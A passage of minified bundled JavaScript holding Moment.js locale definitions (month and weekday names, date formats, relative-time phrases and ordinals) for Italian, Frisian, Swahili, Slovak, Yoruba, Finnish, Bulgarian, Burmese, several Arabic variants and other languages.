LT",nextWeek:"dddd [\u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastDay:"[\u0623\u0645\u0633 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastWeek:"dddd [\u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",sameElse:"L"},relativeTime:{future:"\u0641\u064a %s",past:"\u0645\u0646\u0630 %s",s:"\u062b\u0648\u0627\u0646",ss:"%d \u062b\u0627\u0646\u064a\u0629",m:"\u062f\u0642\u064a\u0642\u0629",mm:"%d \u062f\u0642\u0627\u0626\u0642",h:"\u0633\u0627\u0639\u0629",hh:"%d \u0633\u0627\u0639\u0627\u062a",d:"\u064a\u0648\u0645",dd:"%d \u0623\u064a\u0627\u0645",M:"\u0634\u0647\u0631",MM:"%d \u0623\u0634\u0647\u0631",y:"\u0633\u0646\u0629",yy:"%d \u0633\u0646\u0648\u0627\u062a"},week:{dow:1,doy:4}})}(n("wd/R"))},bpih:function(e,t,n){!function(e){"use strict";e.defineLocale("it",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_luned\xec_marted\xec_mercoled\xec_gioved\xec_venerd\xec_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:function(){return"[Oggi a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextDay:function(){return"[Domani a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextWeek:function(){return"dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastDay:function(){return"[Ieri a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastWeek:function(){switch(this.day()){case 0:return"[La scorsa] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT";default:return"[Lo scorso] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"}},sameElse:"L"},relativeTime:{future:"tra %s",past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",w:"una settimana",ww:"%d settimane",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:1,doy:4}})}(n("wd/R"))},bxKX:function(e,t,n){!function(e){"use strict";e.defineLocale("it-ch",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_luned\xec_marted\xec_mercoled\xec_gioved\xec_venerd\xec_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Oggi alle] LT",nextDay:"[Domani alle] LT",nextWeek:"dddd [alle] LT",lastDay:"[Ieri alle] LT",lastWeek:function(){switch(this.day()){case 0:return"[la scorsa] dddd [alle] LT";default:return"[lo scorso] dddd [alle] LT"}},sameElse:"L"},relativeTime:{future:function(e){return(/^[0-9].+$/.test(e)?"tra":"in")+" "+e},past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:1,doy:4}})}(n("wd/R"))},cRix:function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.".split("_"),n="jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_");e.defineLocale("fy",{months:"jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsParseExact:!0,weekdays:"snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon".split("_"),weekdaysShort:"si._mo._ti._wo._to._fr._so.".split("_"),weekdaysMin:"Si_Mo_Ti_Wo_To_Fr_So".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[hjoed om] LT",nextDay:"[moarn om] LT",nextWeek:"dddd [om] LT",lastDay:"[juster om] LT",lastWeek:"[\xf4fr\xfbne] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oer %s",past:"%s lyn",s:"in pear sekonden",ss:"%d sekonden",m:"ien min\xfat",mm:"%d minuten",h:"ien oere",hh:"%d oeren",d:"ien dei",dd:"%d dagen",M:"ien moanne",MM:"%d moannen",y:"ien jier",yy:"%d jierren"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n("wd/R"))},czMo:function(e,t,n){!function(e){"use strict";e.defineLocale("en-il",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(n("wd/R"))},dNwA:function(e,t,n){!function(e){"use strict";e.defineLocale("sw",{months:"Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des".split("_"),weekdays:"Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi".split("_"),weekdaysShort:"Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos".split("_"),weekdaysMin:"J2_J3_J4_J5_Al_Ij_J1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"hh:mm A",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[leo saa] LT",nextDay:"[kesho saa] LT",nextWeek:"[wiki ijayo] dddd [saat] LT",lastDay:"[jana] LT",lastWeek:"[wiki iliyopita] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s baadaye",past:"tokea %s",s:"hivi punde",ss:"sekunde %d",m:"dakika moja",mm:"dakika %d",h:"saa limoja",hh:"masaa %d",d:"siku moja",dd:"siku %d",M:"mwezi mmoja",MM:"miezi %d",y:"mwaka mmoja",yy:"miaka %d"},week:{dow:1,doy:7}})}(n("wd/R"))},"e+ae":function(e,t,n){!function(e){"use strict";var t="janu\xe1r_febru\xe1r_marec_apr\xedl_m\xe1j_j\xfan_j\xfal_august_september_okt\xf3ber_november_december".split("_"),n="jan_feb_mar_apr_m\xe1j_j\xfan_j\xfal_aug_sep_okt_nov_dec".split("_");function a(e){return e>1&&e<5}function r(e,t,n,r){var i=e+" ";switch(n){case"s":return t||r?"p\xe1r sek\xfand":"p\xe1r sekundami";case"ss":return t||r?i+(a(e)?"sekundy":"sek\xfand"):i+"sekundami";case"m":return t?"min\xfata":r?"min\xfatu":"min\xfatou";case"mm":return t||r?i+(a(e)?"min\xfaty":"min\xfat"):i+"min\xfatami";case"h":return t?"hodina":r?"hodinu":"hodinou";case"hh":return t||r?i+(a(e)?"hodiny":"hod\xedn"):i+"hodinami";case"d":return t||r?"de\u0148":"d\u0148om";case"dd":return t||r?i+(a(e)?"dni":"dn\xed"):i+"d\u0148ami";case"M":return t||r?"mesiac":"mesiacom";case"MM":return t||r?i+(a(e)?"mesiace":"mesiacov"):i+"mesiacmi";case"y":return t||r?"rok":"rokom";case"yy":return t||r?i+(a(e)?"roky":"rokov"):i+"rokmi"}}e.defineLocale("sk",{months:t,monthsShort:n,weekdays:"nede\u013ea_pondelok_utorok_streda_\u0161tvrtok_piatok_sobota".split("_"),weekdaysShort:"ne_po_ut_st_\u0161t_pi_so".split("_"),weekdaysMin:"ne_po_ut_st_\u0161t_pi_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm"},calendar:{sameDay:"[dnes o] LT",nextDay:"[zajtra o] LT",nextWeek:function(){switch(this.day()){case 0:return"[v nede\u013eu o] LT";case 1:case 2:return"[v] dddd [o] LT";case 3:return"[v stredu o] LT";case 4:return"[vo \u0161tvrtok o] LT";case 5:return"[v piatok o] LT";case 6:return"[v sobotu o] LT"}},lastDay:"[v\u010dera o] LT",lastWeek:function(){switch(this.day()){case 0:return"[minul\xfa nede\u013eu o] LT";case 1:case 2:return"[minul\xfd] dddd [o] LT";case 3:return"[minul\xfa stredu o] LT";case 4:case 5:return"[minul\xfd] dddd [o] LT";case 6:return"[minul\xfa sobotu o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"pred %s",s:r,ss:r,m:r,mm:r,h:r,hh:r,d:r,dd:r,M:r,MM:r,y:r,yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},fzPg:function(e,t,n){!function(e){"use strict";e.defineLocale("yo",{months:"S\u1eb9\u0301r\u1eb9\u0301_E\u0300re\u0300le\u0300_\u1eb8r\u1eb9\u0300na\u0300_I\u0300gbe\u0301_E\u0300bibi_O\u0300ku\u0300du_Ag\u1eb9mo_O\u0300gu\u0301n_Owewe_\u1ecc\u0300wa\u0300ra\u0300_Be\u0301lu\u0301_\u1ecc\u0300p\u1eb9\u0300\u0300".split("_"),monthsShort:"S\u1eb9\u0301r_E\u0300rl_\u1eb8rn_I\u0300gb_E\u0300bi_O\u0300ku\u0300_Ag\u1eb9_O\u0300gu\u0301_Owe_\u1ecc\u0300wa\u0300_Be\u0301l_\u1ecc\u0300p\u1eb9\u0300\u0300".split("_"),weekdays:"A\u0300i\u0300ku\u0301_Aje\u0301_I\u0300s\u1eb9\u0301gun_\u1eccj\u1ecd\u0301ru\u0301_\u1eccj\u1ecd\u0301b\u1ecd_\u1eb8ti\u0300_A\u0300ba\u0301m\u1eb9\u0301ta".split("_"),weekdaysShort:"A\u0300i\u0300k_Aje\u0301_I\u0300s\u1eb9\u0301_\u1eccjr_\u1eccjb_\u1eb8ti\u0300_A\u0300ba\u0301".split("_"),weekdaysMin:"A\u0300i\u0300_Aj_I\u0300s_\u1eccr_\u1eccb_\u1eb8t_A\u0300b".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[O\u0300ni\u0300 ni] LT",nextDay:"[\u1ecc\u0300la ni] LT",nextWeek:"dddd [\u1eccs\u1eb9\u0300 to\u0301n'b\u1ecd] [ni] LT",lastDay:"[A\u0300na ni] LT",lastWeek:"dddd [\u1eccs\u1eb9\u0300 to\u0301l\u1ecd\u0301] [ni] LT",sameElse:"L"},relativeTime:{future:"ni\u0301 %s",past:"%s k\u1ecdja\u0301",s:"i\u0300s\u1eb9ju\u0301 aaya\u0301 die",ss:"aaya\u0301 %d",m:"i\u0300s\u1eb9ju\u0301 kan",mm:"i\u0300s\u1eb9ju\u0301 %d",h:"wa\u0301kati kan",hh:"wa\u0301kati %d",d:"\u1ecdj\u1ecd\u0301 kan",dd:"\u1ecdj\u1ecd\u0301 %d",M:"osu\u0300 kan",MM:"osu\u0300 %d",y:"\u1ecddu\u0301n kan",yy:"\u1ecddu\u0301n %d"},dayOfMonthOrdinalParse:/\u1ecdj\u1ecd\u0301\s\d{1,2}/,ordinal:"\u1ecdj\u1ecd\u0301 %d",week:{dow:1,doy:4}})}(n("wd/R"))},gVVK:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var r=e+" ";switch(n){case"s":return t||a?"nekaj sekund":"nekaj sekundami";case"ss":return r+(1===e?t?"sekundo":"sekundi":2===e?t||a?"sekundi":"sekundah":e<5?t||a?"sekunde":"sekundah":"sekund");case"m":return t?"ena minuta":"eno minuto";case"mm":return r+(1===e?t?"minuta":"minuto":2===e?t||a?"minuti":"minutama":e<5?t||a?"minute":"minutami":t||a?"minut":"minutami");case"h":return t?"ena ura":"eno uro";case"hh":return r+(1===e?t?"ura":"uro":2===e?t||a?"uri":"urama":e<5?t||a?"ure":"urami":t||a?"ur":"urami");case"d":return t||a?"en dan":"enim dnem";case"dd":return r+(1===e?t||a?"dan":"dnem":2===e?t||a?"dni":"dnevoma":t||a?"dni":"dnevi");case"M":return t||a?"en mesec":"enim mesecem";case"MM":return r+(1===e?t||a?"mesec":"mesecem":2===e?t||a?"meseca":"mesecema":e<5?t||a?"mesece":"meseci":t||a?"mesecev":"meseci");case"y":return t||a?"eno leto":"enim letom";case"yy":return r+(1===e?t||a?"leto":"letom":2===e?t||a?"leti":"letoma":e<5?t||a?"leta":"leti":t||a?"let":"leti")}}e.defineLocale("sl",{months:"januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljek_torek_sreda_\u010detrtek_petek_sobota".split("_"),weekdaysShort:"ned._pon._tor._sre._\u010det._pet._sob.".split("_"),weekdaysMin:"ne_po_to_sr_\u010de_pe_so".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD. MM. YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danes ob] LT",nextDay:"[jutri ob] LT",nextWeek:function(){switch(this.day()){case 0:return"[v] [nedeljo] [ob] LT";case 3:return"[v] [sredo] [ob] LT";case 6:return"[v] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[v] dddd [ob] LT"}},lastDay:"[v\u010deraj ob] LT",lastWeek:function(){switch(this.day()){case 0:return"[prej\u0161njo] [nedeljo] [ob] LT";case 3:return"[prej\u0161njo] [sredo] [ob] LT";case 6:return"[prej\u0161njo] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[prej\u0161nji] dddd [ob] LT"}},sameElse:"L"},relativeTime:{future:"\u010dez %s",past:"pred %s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n("wd/R"))},gekB:function(e,t,n){!function(e){"use strict";var t="nolla yksi kaksi kolme nelj\xe4 viisi kuusi seitsem\xe4n kahdeksan yhdeks\xe4n".split(" "),n=["nolla","yhden","kahden","kolmen","nelj\xe4n","viiden","kuuden",t[7],t[8],t[9]];function a(e,a,r,i){var s="";switch(r){case"s":return i?"muutaman sekunnin":"muutama sekunti";case"ss":s=i?"sekunnin":"sekuntia";break;case"m":return i?"minuutin":"minuutti";case"mm":s=i?"minuutin":"minuuttia";break;case"h":return i?"tunnin":"tunti";case"hh":s=i?"tunnin":"tuntia";break;case"d":return i?"p\xe4iv\xe4n":"p\xe4iv\xe4";case"dd":s=i?"p\xe4iv\xe4n":"p\xe4iv\xe4\xe4";break;case"M":return i?"kuukauden":"kuukausi";case"MM":s=i?"kuukauden":"kuukautta";break;case"y":return i?"vuoden":"vuosi";case"yy":s=i?"vuoden":"vuotta"}return function(e,a){return e<10?a?n[e]:t[e]:e}(e,i)+" "+s}e.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kes\xe4kuu_hein\xe4kuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kes\xe4_hein\xe4_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[t\xe4n\xe4\xe4n] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s p\xe4\xe4st\xe4",past:"%s sitten",s:a,ss:a,m:a,mm:a,h:a,hh:a,d:a,dd:a,M:a,MM:a,y:a,yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},gjCT:function(e,t,n){!function(e){"use strict";var t={1:"\u0661",2:"\u0662",3:"\u0663",4:"\u0664",5:"\u0665",6:"\u0666",7:"\u0667",8:"\u0668",9:"\u0669",0:"\u0660"},n={"\u0661":"1","\u0662":"2","\u0663":"3","\u0664":"4","\u0665":"5","\u0666":"6","\u0667":"7","\u0668":"8","\u0669":"9","\u0660":"0"};e.defineLocale("ar-sa",{months:"\u064a\u0646\u0627\u064a\u0631_\u0641\u0628\u0631\u0627\u064a\u0631_\u0645\u0627\u0631\u0633_\u0623\u0628\u0631\u064a\u0644_\u0645\u0627\u064a\u0648_\u064a\u0648\u0646\u064a\u0648_\u064a\u0648\u0644\u064a\u0648_\u0623\u063a\u0633\u0637\u0633_\u0633\u0628\u062a\u0645\u0628\u0631_\u0623\u0643\u062a\u0648\u0628\u0631_\u0646\u0648\u0641\u0645\u0628\u0631_\u062f\u064a\u0633\u0645\u0628\u0631".split("_"),monthsShort:"\u064a\u0646\u0627\u064a\u0631_\u0641\u0628\u0631\u0627\u064a\u0631_\u0645\u0627\u0631\u0633_\u0623\u0628\u0631\u064a\u0644_\u0645\u0627\u064a\u0648_\u064a\u0648\u0646\u064a\u0648_\u064a\u0648\u0644\u064a\u0648_\u0623\u063a\u0633\u0637\u0633_\u0633\u0628\u062a\u0645\u0628\u0631_\u0623\u0643\u062a\u0648\u0628\u0631_\u0646\u0648\u0641\u0645\u0628\u0631_\u062f\u064a\u0633\u0645\u0628\u0631".split("_"),weekdays:"\u0627\u0644\u0623\u062d\u062f_\u0627\u0644\u0625\u062b\u0646\u064a\u0646_\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621_\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621_\u0627\u0644\u062e\u0645\u064a\u0633_\u0627\u0644\u062c\u0645\u0639\u0629_\u0627\u0644\u0633\u0628\u062a".split("_"),weekdaysShort:"\u0623\u062d\u062f_\u0625\u062b\u0646\u064a\u0646_\u062b\u0644\u0627\u062b\u0627\u0621_\u0623\u0631\u0628\u0639\u0627\u0621_\u062e\u0645\u064a\u0633_\u062c\u0645\u0639\u0629_\u0633\u0628\u062a".split("_"),weekdaysMin:"\u062d_\u0646_\u062b_\u0631_\u062e_\u062c_\u0633".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/\u0635|\u0645/,isPM:function(e){return"\u0645"===e},meridiem:function(e,t,n){return e<12?"\u0635":"\u0645"},calendar:{sameDay:"[\u0627\u0644\u064a\u0648\u0645 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextDay:"[\u063a\u062f\u0627 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextWeek:"dddd [\u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastDay:"[\u0623\u0645\u0633 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastWeek:"dddd [\u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",sameElse:"L"},relativeTime:{future:"\u0641\u064a %s",past:"\u0645\u0646\u0630 %s",s:"\u062b\u0648\u0627\u0646",ss:"%d \u062b\u0627\u0646\u064a\u0629",m:"\u062f\u0642\u064a\u0642\u0629",mm:"%d \u062f\u0642\u0627\u0626\u0642",h:"\u0633\u0627\u0639\u0629",hh:"%d \u0633\u0627\u0639\u0627\u062a",d:"\u064a\u0648\u0645",dd:"%d \u0623\u064a\u0627\u0645",M:"\u0634\u0647\u0631",MM:"%d \u0623\u0634\u0647\u0631",y:"\u0633\u0646\u0629",yy:"%d \u0633\u0646\u0648\u0627\u062a"},preparse:function(e){return e.replace(/[\u0661\u0662\u0663\u0664\u0665\u0666\u0667\u0668\u0669\u0660]/g,(function(e){return n[e]})).replace(/\u060c/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"\u060c")},week:{dow:0,doy:6}})}(n("wd/R"))},hKrs:function(e,t,n){!function(e){"use strict";e.defineLocale("bg",{months:"\u044f\u043d\u0443\u0430\u0440\u0438_\u0444\u0435\u0432\u0440\u0443\u0430\u0440\u0438_\u043c\u0430\u0440\u0442_\u0430\u043f\u0440\u0438\u043b_\u043c\u0430\u0439_\u044e\u043d\u0438_\u044e\u043b\u0438_\u0430\u0432\u0433\u0443\u0441\u0442_\u0441\u0435\u043f\u0442\u0435\u043c\u0432\u0440\u0438_\u043e\u043a\u0442\u043e\u043c\u0432\u0440\u0438_\u043d\u043e\u0435\u043c\u0432\u0440\u0438_\u0434\u0435\u043a\u0435\u043c\u0432\u0440\u0438".split("_"),monthsShort:"\u044f\u043d\u0443_\u0444\u0435\u0432_\u043c\u0430\u0440_\u0430\u043f\u0440_\u043c\u0430\u0439_\u044e\u043d\u0438_\u044e\u043b\u0438_\u0430\u0432\u0433_\u0441\u0435\u043f_\u043e\u043a\u0442_\u043d\u043e\u0435_\u0434\u0435\u043a".split("_"),weekdays:"\u043d\u0435\u0434\u0435\u043b\u044f_\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a_\u0432\u0442\u043e\u0440\u043d\u0438\u043a_\u0441\u0440\u044f\u0434\u0430_\u0447\u0435\u0442\u0432\u044a\u0440\u0442\u044a\u043a_\u043f\u0435\u0442\u044a\u043a_\u0441\u044a\u0431\u043e\u0442\u0430".split("_"),weekdaysShort:"\u043d\u0435\u0434_\u043f\u043e\u043d_\u0432\u0442\u043e_\u0441\u0440\u044f_\u0447\u0435\u0442_\u043f\u0435\u0442_\u0441\u044a\u0431".split("_"),weekdaysMin:"\u043d\u0434_\u043f\u043d_\u0432\u0442_\u0441\u0440_\u0447\u0442_\u043f\u0442_\u0441\u0431".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[\u0414\u043d\u0435\u0441 \u0432] LT",nextDay:"[\u0423\u0442\u0440\u0435 \u0432] LT",nextWeek:"dddd [\u0432] LT",lastDay:"[\u0412\u0447\u0435\u0440\u0430 \u0432] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[\u041c\u0438\u043d\u0430\u043b\u0430\u0442\u0430] dddd [\u0432] LT";case 1:case 2:case 4:case 5:return"[\u041c\u0438\u043d\u0430\u043b\u0438\u044f] dddd [\u0432] LT"}},sameElse:"L"},relativeTime:{future:"\u0441\u043b\u0435\u0434 %s",past:"\u043f\u0440\u0435\u0434\u0438 %s",s:"\u043d\u044f\u043a\u043e\u043b\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434\u0438",ss:"%d \u0441\u0435\u043a\u0443\u043d\u0434\u0438",m:"\u043c\u0438\u043d\u0443\u0442\u0430",mm:"%d \u043c\u0438\u043d\u0443\u0442\u0438",h:"\u0447\u0430\u0441",hh:"%d \u0447\u0430\u0441\u0430",d:"\u0434\u0435\u043d",dd:"%d \u0434\u0435\u043d\u0430",w:"\u0441\u0435\u0434\u043c\u0438\u0446\u0430",ww:"%d \u0441\u0435\u0434\u043c\u0438\u0446\u0438",M:"\u043c\u0435\u0441\u0435\u0446",MM:"%d \u043c\u0435\u0441\u0435\u0446\u0430",y:"\u0433\u043e\u0434\u0438\u043d\u0430",yy:"%d \u0433\u043e\u0434\u0438\u043d\u0438"},dayOfMonthOrdinalParse:/\d{1,2}-(\u0435\u0432|\u0435\u043d|\u0442\u0438|\u0432\u0438|\u0440\u0438|\u043c\u0438)/,ordinal:function(e){var t=e%10,n=e%100;return 0===e?e+"-\u0435\u0432":0===n?e+"-\u0435\u043d":n>10&&n<20?e+"-\u0442\u0438":1===t?e+"-\u0432\u0438":2===t?e+"-\u0440\u0438":7===t||8===t?e+"-\u043c\u0438":e+"-\u0442\u0438"},week:{dow:1,doy:7}})}(n("wd/R"))},honF:function(e,t,n){!function(e){"use strict";var t={1:"\u1041",2:"\u1042",3:"\u1043",4:"\u1044",5:"\u1045",6:"\u1046",7:"\u1047",8:"\u1048",9:"\u1049",0:"\u1040"},n={"\u1041":"1","\u1042":"2","\u1043":"3","\u1044":"4","\u1045":"5","\u1046":"6","\u1047":"7","\u1048":"8","\u1049":"9","\u1040":"0"};e.defineLocale("my",{months:"\u1007\u1014\u103a\u1014\u101d\u102b\u101b\u102e_\u1016\u1031\u1016\u1031\u102c\u103a\u101d\u102b\u101b\u102e_\u1019\u1010\u103a_\u1027\u1015\u103c\u102e_\u1019\u1031_\u1007\u103d\u1014\u103a_\u1007\u1030\u101c\u102d\u102f\u1004\u103a_\u101e\u103c\u1002\u102f\u1010\u103a_\u1005\u1000\u103a\u1010\u1004\u103a\u1018\u102c_\u1021\u1031\u102c\u1000\u103a\u1010\u102d\u102f\u1018\u102c_\u1014\u102d\u102f\u101d\u1004\u103a\u1018\u102c_\u1012\u102e\u1007\u1004\u103a\u1018\u102c".split("_"),monthsShort:"\u1007\u1014\u103a_\u1016\u1031_\u1019\u1010\u103a_\u1015\u103c\u102e_\u1019\u1031_\u1007\u103d\u1014\u103a_\u101c\u102d\u102f\u1004\u103a_\u101e\u103c_\u1005\u1000\u103a_\u1021\u1031\u102c\u1000\u103a_\u1014\u102d\u102f_\u1012\u102e".split("_"),weekdays:"\u1010\u1014\u1004\u103a\u1039\u1002\u1014\u103d\u1031_\u1010\u1014\u1004\u103a\u1039\u101c\u102c_\u1021\u1004\u103a\u1039\u1002\u102b_\u1017\u102f\u1012\u1039\u1013\u101f\u1030\u1038_\u1000\u103c\u102c\u101e\u1015\u1010\u1031\u1038_\u101e\u1031\u102c\u1000\u103c\u102c_\u1005\u1014\u1031".split("_"),weekdaysShort:"\u1014\u103d\u1031_\u101c\u102c_\u1002\u102b_\u101f\u1030\u1038_\u1000\u103c\u102c_\u101e\u1031\u102c_\u1014\u1031".split("_"),weekdaysMin:"\u1014\u103d\u1031_\u101c\u102c_\u1002\u102b_\u101f\u1030\u1038_\u1000\u103c\u102c_\u101e\u1031\u102c_\u1014\u1031".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY 